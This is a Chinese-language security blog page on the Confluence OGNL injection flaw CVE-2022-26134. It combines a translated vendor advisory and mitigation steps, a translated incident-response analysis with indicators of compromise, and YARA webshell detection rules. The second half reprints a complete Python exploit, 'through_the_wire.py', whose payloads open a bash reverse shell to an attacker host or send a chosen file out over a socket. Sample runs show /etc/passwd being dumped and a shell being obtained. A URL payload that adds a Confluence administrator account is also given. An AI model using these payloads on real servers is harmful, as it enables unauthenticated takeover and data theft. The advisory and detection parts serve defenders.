CVE-2022-26134 poc | Atlassian Confluence rce

CVE-2022-26134 poc | Atlassian Confluence rce

CVE-2022-26134漏洞描述

在受影响的 Confluence Server 和 Data Center 版本中,存在一个 OGNL 注入漏洞,该漏洞允许未经身份验证的攻击者在 Confluence Server 或 Data Center 服务器上执行任意代码。受影响的版本是 7.4.17 之前的 1.3.0、7.13.7 之前的 7.13.0、7.14.3 之前的 7.14.0、7.15.2 之前的 7.15.0、7.16.4 之前的 7.16.0、 7.17.4 之前的7.17.0, 7.18.1 之前的7.18.0版本。

受影响的版本

  • 7.4.0
  • 7.13.0
  • 7.14.0
  • 7.15.0
  • 7.16.0
  • 7.15.1
  • 7.14.2
  • 7.17.0
  • 7.4.16
  • 7.18.0
  • 7.16.3
  • 7.13.6
  • 7.17.3

CVE-2022-26134漏洞概括

概括CVE-2022-26134 – Confluence Server 和 Data Center 中严重的未经身份验证的远程代码执行漏洞
咨询发布日期2022 年 6 月 2 日太平洋夏令时间下午 1 点(太平洋时间,-7 小时) 
受影响的产品Confluence
Confluence Server
Confluence Data Center
受影响的版本所有受支持的 Confluence Server 和 Data Center 版本都会受到影响。
Confluence Server 和 Data Center 1.3.0 之后的版本会受到影响。
已修复的版本7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1
CVE IDCVE-2022-26134

漏洞修复/缓解措施

对于 Confluence 7.15.0 – 7.18.0

如果你在集群中运行 Confluence,你需要在每个节点上重复这个过程。您无需关闭整个集群即可应用此缓解措施。 

  1. 关闭Confluence。
     
  2. 将以下 1 个文件下载到 Confluence 服务器:
  3. 删除(或以下JAR移出Confluence 安装目录):
    <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
    (警告) 不要在目录中留下这个旧 JAR 的副本。
     
  4. 将下载的xwork-1.0.3-atlassian-10.jar复制<confluence-install>/confluence/WEB-INF/lib/
     
  5. 检查新xwork-1.0.3-atlassian-10.jar文件的权限和所有权是否与同一目录中的现有文件匹配。
     
  6. 启动Confluence。

请记住,如果您在集群中运行 Confluence,请确保在所有节点上应用上述更新。

对于 Confluence 7.0.0 – Confluence 7.14.2

如果你在集群中运行 Confluence,你需要在每个节点上重复这个过程。您无需关闭整个集群即可应用此缓解措施。 

  1. 关闭Confluence。
     
  2. 将以下 3 个文件下载到 Confluence 服务器:
  3. 删除(或以下 JAR 移到 Confluence 安装目录之外):
     <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar
    <confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar

    (警告)不要在目录中留下旧 JAR 的副本。
     
  4. 将下载的xwork-1.0.3-atlassian-10.jar复制<confluence-install>/confluence/WEB-INF/lib/
     
  5. 将下载的webwork-2.1.5-atlassian-4.jar复制<confluence-install>/confluence/WEB-INF/lib/
     
  6. 检查两个新文件的权限和所有权是否与同一目录中的现有文件匹配。
     
  7. 切换到目录<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup
     
    1. 创建一个名为webwork的新目录
    2. CachedConfigurationProvider.class复制到<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
    3. 确保权限和所有权正确:<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
      <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class
  8. 启动Confluence。

请记住,如果您在集群中运行 Confluence,请确保在所有节点上应用上述更新

注意:Confluence 生命的尽头版本未使用变通方法进行全面测试。

我们强烈建议升级到 Confluence 的修复版本,因为 Confluence 的修复版本中包含其他几个安全修复程序。

致谢

我们要感谢Volexity发现了这个漏洞。

支持

如果您没有收到有关此咨询的电子邮件,并且希望将来收到此类电子邮件,请访问 https://my.atlassian.com/email 并订阅警报电子邮件。

如果您对此公告有任何疑问或疑虑,请在 https://support.atlassian.com/上提出支持请求。

参考

安全漏洞修复策略
根据我们的新政策,关键安全漏洞修复将按照https://www.atlassian.com/trust/security/bug-fix-policy进行反向移植。我们将为该政策涵盖的版本发布新的维护版本,而不是二进制补丁。不再发布二进制补丁。 
安全问题的严重级别
Atlassian 安全公告包括严重性级别和 CVE 标识符。此严重性级别基于我们为每个特定漏洞自行计算的 CVSS 分数。CVSS 是一种行业标准的漏洞度量。您还可以在FIRST.org上了解有关 CVSS 的更多信息 。
报废政策
 我们的报废政策因产品而异。详情请参阅我们的 EOL 政策。 

Atlassian Confluence 0day漏洞分析

在美国的阵亡将士纪念日周末,Volexity 进行了一项事件响应调查,涉及两个面向 Internet 的 Web 服务器,这些 Web 服务器属于其客户之一,它们运行 Atlassian Confluence Server 软件。在主机上检测到可疑活动后开始调查,其中包括将 JSP webshel​​l 写入磁盘。Volexity 立即使用Volexity Surge Collect Pro从 Confluence Server 系统收集系统内存和关键文件进行分析。在对收集到的数据进行彻底审查后,Volexity 能够确定服务器入侵源于攻击者启动了exp以实现远程代码执行。Volexity 随后能够重新创建该漏洞利用并识别影响完全最新版本的 Confluence Server 的零日漏洞。

在发现并验证此漏洞后,Volexity 于 2022 年 5 月 31 日联系 Atlassian 报告相关细节。Atlassian 已确认该漏洞,随后将问题分配给 CVE-2022-26134。它已被确认适用于当前版本的 Confluence Server 和 Data Center。

本博客将提供事件演练、分析结果和各种危害指标,组织可以使用这些指标来检测和防御这种威胁。Volexity 不打算为该漏洞提供概念验证 (POC) 代码。在撰写本文时,Atlassian 尚未提供官方补丁或解决方法,但他们已发布以下公告

初步分析

对其中一个 Confluence Server 系统的初步审查很快发现,一个 JSP 文件已被写入一个可公开访问的 Web 目录。该文件是China Chopper webshel​​l (中国菜刀)的JSP 变体的著名副本。然而,对网络日志的审查表明该文件几乎没有被访问过。webshel​​l 似乎是作为辅助访问的一种方式编写的。

同时,Volexity 还使用Volexity Volcano Server处理获取的内存样本。这导致识别出由 Confluence Web 应用程序进程启动的 bash shell。这很突出,因为它产生了一个 bash 进程,该进程产生了一个 Python 进程,而 Python 进程又产生了一个 bash shell。流程树如图 1 所示。

CVE-2022-26134 poc | Atlassian Confluence rce
图 1. Volexity Volcano Server 中来自受感染 Confluence 服务器的进程树

如“Command Line”列中所示,Python 实例以一个通用参数启动,该参数用于向攻击者提供交互式 shell。通过这种访问,攻击者可以像直接登录系统一样执行命令。此外,Volcano Server 的“UID”和“GID”列显示,由漏洞利用创建的 Web 服务器进程及其子进程都以 root(完全权限)用户和组的身份运行。这加剧了事件的严重性,因为可以访问 shell 的攻击者将完全控制 Confluence Server。需要注意的是,Volexity 建议不要以 root 身份运行 Confluence 软件。有关攻击者如何生成反向 shell 的详细信息,请参阅下面的“后渗透活动”部分。

漏洞分析

随后对侵害的根本原因分析表明,攻击者使用了零日漏洞,现在分配了 CVE-2022-26134,允许在服务器上执行未经身份验证的远程代码。在最初分析该漏洞时,Volexity 指出它看起来与以前的漏洞相似,这些漏洞也被利用以获得远程代码执行。这些类型的漏洞是危险的,因为只要可以向 Confluence Server 系统发出 Web 请求,攻击者就可以在没有凭据的情况下执行命令并完全控制易受攻击的系统。还应该注意的是,CVE-2022-26134 似乎是另一个命令注入漏洞。这种类型的脆弱性很严重,需要引起高度重视。

Volexity 认为,攻击者在每个 Confluence Server 系统上都发起了一次漏洞利用尝试,进而在内存中加载了一个恶意类文件。这允许攻击者有效地拥有一个他们可以通过后续请求与之交互的 webshel​​l。这种攻击的好处使攻击者不必不断地重新利用服务器并执行命令,而无需将后门文件写入磁盘

受影响的版本

鉴于目前官方支持的 Confluence版本众多,Volexity 无法完全枚举所有受影响的版本,但能够验证它适用于所有 LTS 版本和其他当前版本,例如 7.17.3。该产品的所有当前版本都可能受到影响。

后渗透活动

在成功利用 Confluence Server 系统后,攻击者立即部署了 BEHINDER 植入程序的内存副本。这是一个广受欢迎的 Web 服务器植入程序,源代码可在 GitHub 上找到。BEHINDER 为攻击者提供了非常强大的功能,包括仅内存的 webshel​​l 以及对与 Meterpreter 和 Cobalt Strike 交互的内置支持。如前所述,这种部署方法具有不将文件写入磁盘的显着优势。同时,它不允许持久化,这意味着重新启动或服务重新启动会将其清除。

部署 BEHINDER 后,攻击者使用内存中的 webshel​​l 将两个额外的 webshel​​l 部署到磁盘:CHINA CHOPPER和自定义文件上传 shell。

执行的命令

Volexity 发现了攻击者在受害者系统上执行的几个命令,总结如下:

  • 运行侦察命令,检查操作系统版本,检查“/etc/passwd”和“/etc/shadow”的内容
  • 探索本地 Confluence 数据库并从 Confluence 中转储用户表
  • 试图通过更改 Web 访问日志以消除利用证据来妨碍取证分析
  • 将额外的 webshel​​l 写入磁盘,并非所有这些都可以恢复

取证分析详细信息

为了帮助防御者,Volexity 旨在提供导致发现零日漏洞利用有效载荷的分析方法的技术细节,以及利用后的活动。遵循这些步骤的防御者应该在检查他们自己的环境中取得类似的成功,假设内存样本是及时有效的,并且及时的网络日志是可用的。

在发现看起来可疑的 Python 和 bash 实例作为 Web 服务器的子进程运行后,Volexity 使用 Volcano Server 立即提取映射其堆的每个进程的内存区域。堆是存储在运行时动态生成的数据的内存区域。对于 Web 服务器,这将包括 HTTP 请求和响应、文件内容以及作为服务 Web 应用程序的一部分而生成的其他数据。对于 Python 和 bash 进程,堆将包含用于生成子进程的所有数据,以及攻击者键入的命令和这些命令生成的输出。

恶意植入物

幕后黑手

Volexity 对堆数据的分析最初导致了几个与 Java 类和方法相关的人类可读字符串,包括用于动态方法反射和进程生成的字符串。Volexity 还注意到在其他上下文中看到的字符串,包括用于通过 Python 的 pty.spawn 函数生成 bash 的命令。鉴于此案例涉及针对由 Java 提供支持的 Web 服务器的注入漏洞,看起来恶意的 Java 片段的存在很有趣。

为了进一步分析,Volexity 收集了可疑的字符串和名称,然后开始在威胁情报来源中搜索对它们的引用。这导致发现正在使用的植入物是 BEHINDER(冰蝎),这是一种功能强大的开源 Web 服务器植入物,被 Avast记录的各种威胁参与者使用。

攻击者还添加了备份机制,以确保他们保留对 Confluence Server 系统的访问权限,以防后来被清理。这些备份机制以部署到磁盘的两个 webshel​​l 的形式出现,后面的部分将对此进行详细介绍。

Webshel​​l文件上传

文件名noop.jsp
文件大小537 字节
MD5f8df4dd46f02dc86d37d46cf4793e036
SHA14c02c3a150de6b70d6fca584c29888202cc1deef

这是一个小型自定义文件上传 webshel​​l,其唯一目的是允许攻击者将任意文件上传到服务器。显示 shell 全部内容的屏幕截图如图 2 所示。

CVE-2022-26134 poc | Atlassian Confluence rce
图 2. 后渗透阶段使用的文件上传 shell

攻击者替换了现有文件“noop.jsp”,这是 Confluence Server 的合法部分,不提供任何功能。修改这个现有的 JSP 文件(位于“<confluence root>/confluence/noop.jsp”)是成功入侵 Confluence Server 系统的攻击者的流行举措,正如其他各种供应商在描述 Confluence 的违规行为时所记录的那样。

Chopper Webshel​​l(菜刀shell)

文件名<redacted>.jsp
文件大小8624 字节
MD5ea18fb65d92e1f0671f23372bacf60e7
SHA180b327ec19c7d14cc10511060ed3a4abffc821af

尽管可以访问零日漏洞,但攻击者在部署此 webshel​​l 时并没有非常小心。上表中引用的文件实际上是臭名昭著的tencc webshel​​l GitHub 存储库中列出的默认 Chopper shell 。

Web 服务器日志分析

作为调查的一部分,Volexity 还提取了从磁盘收集并存储在内存样本中的文件中包含的所有 Web 日志和 Web 请求。这些数据提供了攻击者获得系统初始访问权限的精确时刻,以及初始利用中使用的有效负载。此类分析期间的方法是使用 Web 日志来查找感兴趣的请求,然后在整个内存样本中搜索这些特定请求的整个 HTTP 正文。即使对于在网络上加密的请求和响应,解密或预加密形式也必须存储在内存中,以便应用程序正确处理内容。通过内存分析,人们可以利用这些明文缓冲区来恢复将在完整数据包捕获中加密的网络数据。

掌握了初始感染时间,并深入了解了攻击者基于 HTTP 的活动,Volexity 使用 Volcano Server 解析的所有带时间戳的工件来构建攻击者活动的精确时间线。这个时间线从最初利用的那一秒开始,到收集的数据泄露的那一秒结束。通过组合内存和选择文件分析,Volexity 生成了攻击者在受感染服务器上活动的完整视图。

Web 日志还显示,攻击者通过向 Confluence Server 系统的主索引页面发出连续的 POST 请求来与 BEHINDER 植入体进行交互。这在带有“200”状态代码的日志文件中显示为“POST / HTTP/1.1”。对 Confluence Web 服务器的索引页面的 POST 请求实际上是合法的。但是,这不是用作正常 Confluence 操作的一部分的路径。因此,如果有一个请求看起来可能是一个漏洞利用,然后是对索引页面的大量 POST 请求,则应将其标记为进一步审查。

侵害指标(IOCs)

攻击者使用以下 IP 地址与 webshel​​l 交互。有些可能属于 VPN 服务,可能被攻击者和其他合法的 Internet 用户共享。

154.146.34.145
154.16.105.147
156.146.34.46
156.146.34.52
156.146.34.9
156.146.56.136
198.147.22.148
198.147.22.148
221.178.126.244
45.43.19.91
59.163.248.170
64.64.228.239
66.115.182.102
66.115.182.111
67.149.61.16
98.32.230.38

Volexity 有理由相信这个漏洞目前被多个威胁参与者使用,并且这些攻击者的可能来源国是中国。

结论

在过去的三年中,Volexity 调查了许多类似这样的事件,其中一个面向 Web 的应用程序通过零日漏洞攻击而受到破坏。通过利用这种漏洞,攻击者可以直接访问高度敏感的系统和网络。此外,这些系统通常难以调查,因为它们缺乏适当的监控或日志记录功能。

为了从总体上防止此类攻击成功,Volexity 建议以下内容:

  • 补丁,考虑阻止外部访问面向 Internet 的 Confluence Server 和数据中心系统。
  • 确保面向 Internet 的 Web 服务具有强大的监控功能和日志保留策略,以便在发生事件时提供帮助。
  • 将相关日志文件从面向 Internet 的 Web 服务器发送到 SIEM 或 Syslog 服务器。
  • 监视 Web 应用程序进程的子进程是否存在可疑进程(在这种情况下,Python shell 就是一个很好的例子)。
  • 如果可能,实施 IP 地址访问控制列表 (ACL) 以限制对面向 Internet 的系统的访问。

为了防止这种特定的攻击成功,Volexity 建议如下:

  • 此处提供的块相关 IOC 。
  • 使用此处提供的搜寻规则来识别相关的 webshel​​l 活动,尤其是在 Confluence Server 系统上。
  • 查看您可能已设置的与 Confluence 系统相关的任何最新警报。
  • 当 Atlassian 提供此漏洞的修复程序时,用户应立即修补,因为此漏洞很危险且容易被利用。
  • 如果您发现您的 Confluence Server 实例存在入侵迹象并需要违规帮助,请随时与 Volexity 联系

致谢

Volexity 想感谢 AJ 协助确定与此问题相关的活动。此外,Volexity 还要感谢 Atlassian 团队对这个问题的调查、验证、分配 CVE 的快速响应,以及他们对社区当前状态的开放态度。

攻击检测

yara检测规则

CVE-2022-26134.yar:

rule webshell_jsp_converge : Webshell
{
    meta:
        author = "[email protected]"
        description = "File upload webshell observed in incident involving compromise of Confluence server."
        date = "2022-06-01"
        memory_suitable = 1
        license = "Please see the license at the head of this rules file for acceptable use."
        
    strings:
        $s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii

    condition:
        $s1
}

rule general_jsp_possible_tiny_fileuploader : General Webshells
{
    meta:
        author = "[email protected]"
        description = "Detects small .jsp files which have possible file upload utility."
        date = "2022-06-01"
        hash1 = "4addb9bc9e5e1af8fda63589f6b3fc038ccfd651230fa3fa61814ad080e95a12"
        memory_suitable = 0
        license = "Please see the license at the head of this rules file for acceptable use."
        
    strings:
        // read a req parameter of some sort
        $required1 = "request." ascii
        // write a file
        $required2 = "java.io.FileOutputStream" ascii
        $required3 = ".write" ascii

        // do some form of decoding.
        $encoding1 = "java.util.Base64" ascii
        $encoding2 = "crypto.Cipher" ascii
        $encoding3 = ".misc.BASE64Decoder" ascii

    condition:
        (
            filesize < 4KB and
            all of ($required*) and
            any of ($encoding*)
        )
        or
        (
            filesize < 600 and
            all of ($required*)
        )
}

rule webshell_java_realcmd : Commodity Webshells
{
    meta:
        author = "[email protected]"
        description = "Detects the RealCMD webshell, one of the payloads for BEHINDER."
        date = "2022-06-01"
        hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6"
        reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java"
        memory_suitable = 1
        license = "Please see the license at the head of this rules file for acceptable use."
        
    strings:
        $fn1 = "runCmd" wide ascii fullword
        $fn2 = "RealCMD" ascii wide fullword
        $fn3 = "buildJson" ascii wide fullword
        $fn4 = "Encrypt" ascii wide fullword

        $s1 = "AES/ECB/PKCS5Padding" ascii wide
        $s2 = "python -c 'import pty; pty.spawn" ascii wide
        $s3 = "status" ascii wide
        $s4 = "success" ascii wide
        $s5 = "sun.jnu.encoding" ascii wide
        $s6 = "java.util.Base64" ascii wide

    condition:
        all of ($fn*) or
        all of ($s*)
}

from

CVE-2022-26134 POC&exp

CVE-2022-26134 poc | Atlassian Confluence rce

through_the_wire.py: CVE-2022-26134.py

# Exploit Title: Confluence Namespace OGNL Injection
# Date: June 3, 2022
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Vendor Advisory: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
# Version: All LTS <= 7.13.6 and all others <= 7.18.0
# Tested on: 7.13.6 LTS / Ubuntu 20.04
# CVE : CVE-2022-26123

import urllib.parse
import urllib3
import argparse
import requests
import time
import sys
import os

urllib3.disable_warnings()

def do_banner():
    print("")
    print("   _____ _                           _     ")
    print("  /__   \ |__  _ __ ___  _   _  __ _| |__  ") 
    print("    / /\/ '_ \| '__/ _ \| | | |/ _` | '_ \ ") 
    print("   / /  | | | | | | (_) | |_| | (_| | | | |")
    print("   \/   |_| |_|_|  \___/ \__,_|\__, |_| |_|")
    print("                               |___/       ")
    print("   _____ _            __    __ _           ")
    print("  /__   \ |__   ___  / / /\ \ (_)_ __ ___  ")
    print("    / /\/ '_ \ / _ \ \ \/  \/ / | '__/ _ \ ")
    print("   / /  | | | |  __/  \  /\  /| | | |  __/ ")
    print("   \/   |_| |_|\___|   \/  \/ |_|_|  \___| ")
    print("")
    print("                 jbaines-r7                ")
    print("               CVE-2022-26134              ")
    print("      \"Spit my soul through the wire\"    ")
    print("                     🦞                   ")
    print("") 


if __name__ == "__main__":

    do_banner()

    parser = argparse.ArgumentParser(description='Atlassian Confluence Server exploit (CVE-2022-26134)')
    parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The remote address to exploit")
    parser.add_argument('--rport', action="store", dest="rport", type=int, help="The remote port to exploit", default="443")
    parser.add_argument('--lhost', action="store", dest="lhost", required=True, help="The local address to connect back to")
    parser.add_argument('--lport', action="store", dest="lport", type=int, help="The local port to connect back to", default="1270")
    parser.add_argument('--protocol', action="store", dest="protocol", help="The protocol handler to use", default="https://")
    parser.add_argument('--reverse-shell', action="store_true", dest="reverse_shell", default=False, help="Execute a bash shell")
    parser.add_argument('--fork-nc', action="store_true", dest="fork_nc", default=True, help="Directs the program to start an nc listener")
    parser.add_argument('--nc-path', action="store", dest="ncpath", help="The path to nc", default="/usr/bin/nc")
    parser.add_argument('--read-file', action="store", dest="read_file", help="From memory, read the provided file")
    args = parser.parse_args()

    if args.reverse_shell and args.read_file:
        print("[-] User specified both reverse shell and read file. Only one may be chosen.")
        sys.exit(1)
    
    if not args.reverse_shell and not args.read_file:
        print("[-] User selected neither reverse shell or read file. One must be selected.")

    if args.fork_nc == False:
        print("[!] User has opted not to fork nc")
    else:
        pid = os.fork()
        if pid > 0:
            print('[+] Forking a netcat listener')
            print('[+] Using ' + args.ncpath)
            os.execv(args.ncpath, [args.ncpath, '-lvnp ' + str(args.lport)])
            sys.exit(0)


    if args.reverse_shell == True:
        print('[+] Generating a reverse shell payload')
        exploit = '${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command(\'bash\',\'-c\',\'bash -i >& /dev/tcp/' + args.lhost + '/' + str(args.lport) + ' 0>&1\').start()")}'

    if args.read_file:
        print('[+] Generating a payload to read: ' + args.read_file)
        exploit = '${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\'' + args.read_file + '\')));var sock = new java.net.Socket(\'' + args.lhost + '\', ' + str(args.lport) + '); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}'
        
    encoded_exploit = urllib.parse.quote(exploit)
    target_url = args.protocol + args.rhost + ':' + str(args.rport) + '/'
    print('[+] Sending expoit at ' + target_url)
    target_url += encoded_exploit
    target_url += '/'

    try:
        requests.get(target_url)
    except:
        print('[-] The HTTP request failed')
        sys.exit(0) 

漏洞利用方法

Through the Wire 是CVE-2022-26134的漏洞利用概念证明(POC),这是一个影响 Atlassian Confluence 服务器和数据中心版本 <= 7.13.6 LTS 和 <= 7.18.0“最新”的 OGNL 注入漏洞。这最初是一个零日漏洞利用。

通过 Wire 实现了两种不同的漏洞利用。反向外壳将被掏空bash,因此更有可能被检测到。文件读取器从内存中执行,因此不太可能被检测到。

该漏洞利用程序适用于 Linux 安装的 Confluence。他们可以在 Windows 上工作,但我也很懒。这些漏洞针对 7.13.6 LTS(可能是企业目标)进行了测试。它们应该适用于 7.14 及以下版本,但 AtlassianSafeExpressionUtil在 7.15+ 中引入,可以防止这些漏洞被写入。其他人正在研究这些非 LTS 目标的漏洞利用,例如@httpvoid0x2f在推特上发布了一种添加新管理员的方法。

读取文件示例

albinolobster@ubuntu:~/through_the_wire$ python3 through_the_wire.py --rhost 10.0.0.28 --rport 8090 --lhost 10.0.0.2 --protocol http:// --read-file /etc/passwd

   _____ _                           _     
  /__   \ |__  _ __ ___  _   _  __ _| |__  
    / /\/ '_ \| '__/ _ \| | | |/ _` | '_ \ 
   / /  | | | | | | (_) | |_| | (_| | | | |
   \/   |_| |_|_|  \___/ \__,_|\__, |_| |_|
                               |___/       
   _____ _            __    __ _           
  /__   \ |__   ___  / / /\ \ (_)_ __ ___  
    / /\/ '_ \ / _ \ \ \/  \/ / | '__/ _ \ 
   / /  | | | |  __/  \  /\  /| | | |  __/ 
   \/   |_| |_|\___|   \/  \/ |_|_|  \___| 

                 jbaines-r7                
               CVE-2022-26134              
      "Spit my soul through the wire"    
                     🦞                   

[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a payload to read: /etc/passwd
[+] Sending expoit at http://10.0.0.28:8090/
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 39384
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
albinolobster:x:1000:1000:albinolobster,,,:/home/albinolobster:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
postgres:x:128:136:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
confluence:x:1001:1002:Atlassian Confluence:/home/confluence:/bin/sh
albinolobster@ubuntu:~/through_the_wire$ 

反弹shell示例

albinolobster@ubuntu:~/through_the_wire$ python3 through_the_wire.py --rhost 10.0.0.28 --rport 8090 --lhost 10.0.0.2 --protocol http:// --reverse-shell

   _____ _                           _     
  /__   \ |__  _ __ ___  _   _  __ _| |__  
    / /\/ '_ \| '__/ _ \| | | |/ _` | '_ \ 
   / /  | | | | | | (_) | |_| | (_| | | | |
   \/   |_| |_|_|  \___/ \__,_|\__, |_| |_|
                               |___/       
   _____ _            __    __ _           
  /__   \ |__   ___  / / /\ \ (_)_ __ ___  
    / /\/ '_ \ / _ \ \ \/  \/ / | '__/ _ \ 
   / /  | | | |  __/  \  /\  /| | | |  __/ 
   \/   |_| |_|\___|   \/  \/ |_|_|  \___| 

                 jbaines-r7                
               CVE-2022-26134              
      "Spit my soul through the wire"    
                     🦞                   

[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://10.0.0.28:8090/
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 39386
bash: cannot set terminal process group (34470): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
confluence@ubuntu:/opt/atlassian/confluence/bin$ id
id
uid=1001(confluence) gid=1002(confluence) groups=1002(confluence)
confluence@ubuntu:/opt/atlassian/confluence/bin$ 

PCAP || GTFO

视频 || GTFO

from

其他漏洞利用方法

添加管理员

/${%23this.getUserAccessor().addUser('httpvoid','pwn@1234','[email protected]','HttpVoid',%40com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}/
CVE-2022-26134 poc | Atlassian Confluence rce

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注